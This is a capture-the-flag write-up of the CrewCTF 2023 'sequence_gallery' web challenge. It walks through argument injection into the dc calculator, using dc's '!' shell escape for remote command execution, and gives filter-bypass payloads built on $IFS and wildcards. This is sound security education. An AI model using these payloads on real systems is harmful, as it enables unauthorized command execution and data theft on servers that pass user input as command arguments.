# sequence_gallery

## Background

\- Do you like sequences?

Author : Satoooon

[http://sequence-gallery.chal.crewc.tf:8080/](http://sequence-
gallery.chal.crewc.tf:8080/)

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142650.png)

## Enumeration

**Home page:**

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708134050.png)

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708145108.png)

**In here, we can click the "View" button to see the output of each
functions:**

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708145125.png)

**In this challenge, we can download a
[file](https://github.com/siunam321/CTF-
Writeups/blob/main/CrewCTF-2023/Web/sequence_gallery/sequence_gallery.zip):**  
```shell  
┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Web/sequence_gallery)-[2023.07.08|14:51:57(HKT)]  
└> unzip sequence_gallery.zip  
Archive: sequence_gallery.zip  
creating: dist/  
creating: dist/src/  
inflating: dist/src/factorial.dc  
inflating: dist/src/fibonacchi.dc  
inflating: dist/src/flag.txt  
inflating: dist/src/main.py  
inflating: dist/src/power.dc  
creating: dist/src/templates/  
inflating: dist/src/templates/index.html  
```

**In `dist/src/main.py`, we can see the web application's logic:**  
```python  
import os  
import sqlite3  
import subprocess

from flask import Flask, request, render_template

app = Flask(__name__)

@app.get('/')  
def index():  
sequence = request.args.get('sequence', None)  
if sequence is None:  
return render_template('index.html')

script_file = os.path.basename(sequence + '.dc')  
if ' ' in script_file or 'flag' in script_file:  
return ':('

proc = subprocess.run(  
['dc', script_file],  
capture_output=True,  
text=True,  
timeout=1,  
)  
output = proc.stdout

return render_template('index.html', output=output)

if __name__ == '__main__':  
app.run(host='0.0.0.0', port=8080)  
```

In route `/`, when the `sequence` GET parameter is given, it'll strip out all
rest of the path and ONLY extract the filename. Then, it'll append `.dc` to
the filename. For example, parameter value `power` will become `power.dc`.

Moreover, if the `sequence` GET parameter's value contains a space character
(` `) or `flag`, it'll return `:(`.

After that, it'll use `subprocess.run()` method to execute a Linux command
called `dc`, and with the `sequence` GET parameter's value as the
***argument***. Notice that the `Shell` argument is not provided, which means
**we can't inject OS command**. (Or is it :D)

Finally, use `render_template()` to render the `output` of the `dc` command.
(`render_template()` is not vulnerable to Server-Side Template Injection
(SSTI))

## Exploitation

Now, in `subprocess.run()` method it doesn't have `Shell=True`, however it
doesn't mean it's not vulnerable.

Our `sequence` GET parameter's value is being parsed as an argument in the
`dc` command, thus it's very likely to be ***vulnerable to argument
injection***:

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708150122.png)

Nice! We can now confirm it's vulnerable to argument injection.

Hmm... I wonder what's `dc` in Linux...

**Let's install and view it's `man` page:**  
```shell  
┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Web/sequence_gallery)-[2023.07.08|15:01:45(HKT)]  
└> sudo apt install dc  
[...]  
┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Web/sequence_gallery)-[2023.07.08|15:01:47(HKT)]  
└> man dc  
[...]  
DESCRIPTION  
dc is a reverse-polish desk calculator which supports unlimited precision
arithmetic. It  
also allows you to define and call macros. Normally dc reads from the standard
input; if any  
command arguments are given to it, they are filenames, and dc reads and
executes the contents  
of the files before reading from standard input. All normal output is to
standard output;  
all error output is to standard error.

A reverse-polish calculator stores numbers on a stack. Entering a number
pushes it on the  
stack. Arithmetic operations pop arguments off the stack and push the results.

To enter a number in dc, type the digits (using upper case letters A through F
as "digits"  
when working with input bases greater than ten), with an optional decimal
point. Exponential  
notation is not supported. To enter a negative number, begin the number with
``_''. ``-''  
cannot be used for this, as it is a binary operator for subtraction instead.
To enter two  
numbers in succession, separate them with spaces or newlines. These have no
meaning as com‐  
mands.  
[...]  
```

With that said, it's basically a *calculator*.

**However, when I was reading the `man` page, I found this:**  
```shell  
[...]  
Miscellaneous  
! Will run the rest of the line as a system command. Note that parsing of the
!<, !=,  
and !> commands take precedence, so if you want to run a command starting with
<, =,  
or > you will need to add a space after the !.  
[...]  
```

Wow! So we can execute OS command? Cool!

**Let's try the following payload:**  
```shell  
-e !id  
```

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708150507.png)

Uhh... I forgot the space character filter.

**In order to bypass the space character filter, we can try to replace the
space character with anything else:**  
```shell  
-e"!id  
```

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708150638.png)

We bypassed the filter! However, the `id` command still didn't execute...

**This is because our `id` command hasn't pressed the Enter key, or the new
line character `\n` (`%0a` in URL encoding):**  
```  
-e"!id%0a  
```

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708150815.png)

Nice! We can now execute arbitrary OS commands!

**Let's get the flag!**  
```  
-e"!cat flag.txt%0A  
```

Uh... Wait, the filters!

This time, since the space character is executed on the system, we need to
find other bypasses.

Based on my experience, some Bash jail CTF challenges have banned space
character.

In Bash, **we can use the `$IFS` special shell variable**. The `$IFS`
(Internal Field Separator) is used by the shell to determine how to do word
splitting, the default value for `$IFS` consists of whitespace characters.

Next, we need to bypass the `flag` filter.

To do so, we can use the `*` wildcard character, which will then read all the
files in the current working directory.

**Hence, the final payload will be:**  
```shell  
-e"!cat$IFS*.txt%0A  
```

![](https://raw.githubusercontent.com/siunam321/CTF-
Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708151601.png)

\- **Flag: `crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}`**

```shell  
┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Web/sequence_gallery)-[2023.07.08|15:18:28(HKT)]  
└> dc  
10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx  
DoULikeDC?  
```

\- Real flag (?) : `crew{DoULikeDC?}`

## Conclusion

What we've learned:

1\. Remote Code Execution Via Argument Injection With `dc` Command

Original writeup
(https://siunam321.github.io/ctf/CrewCTF-2023/Web/sequence_gallery/).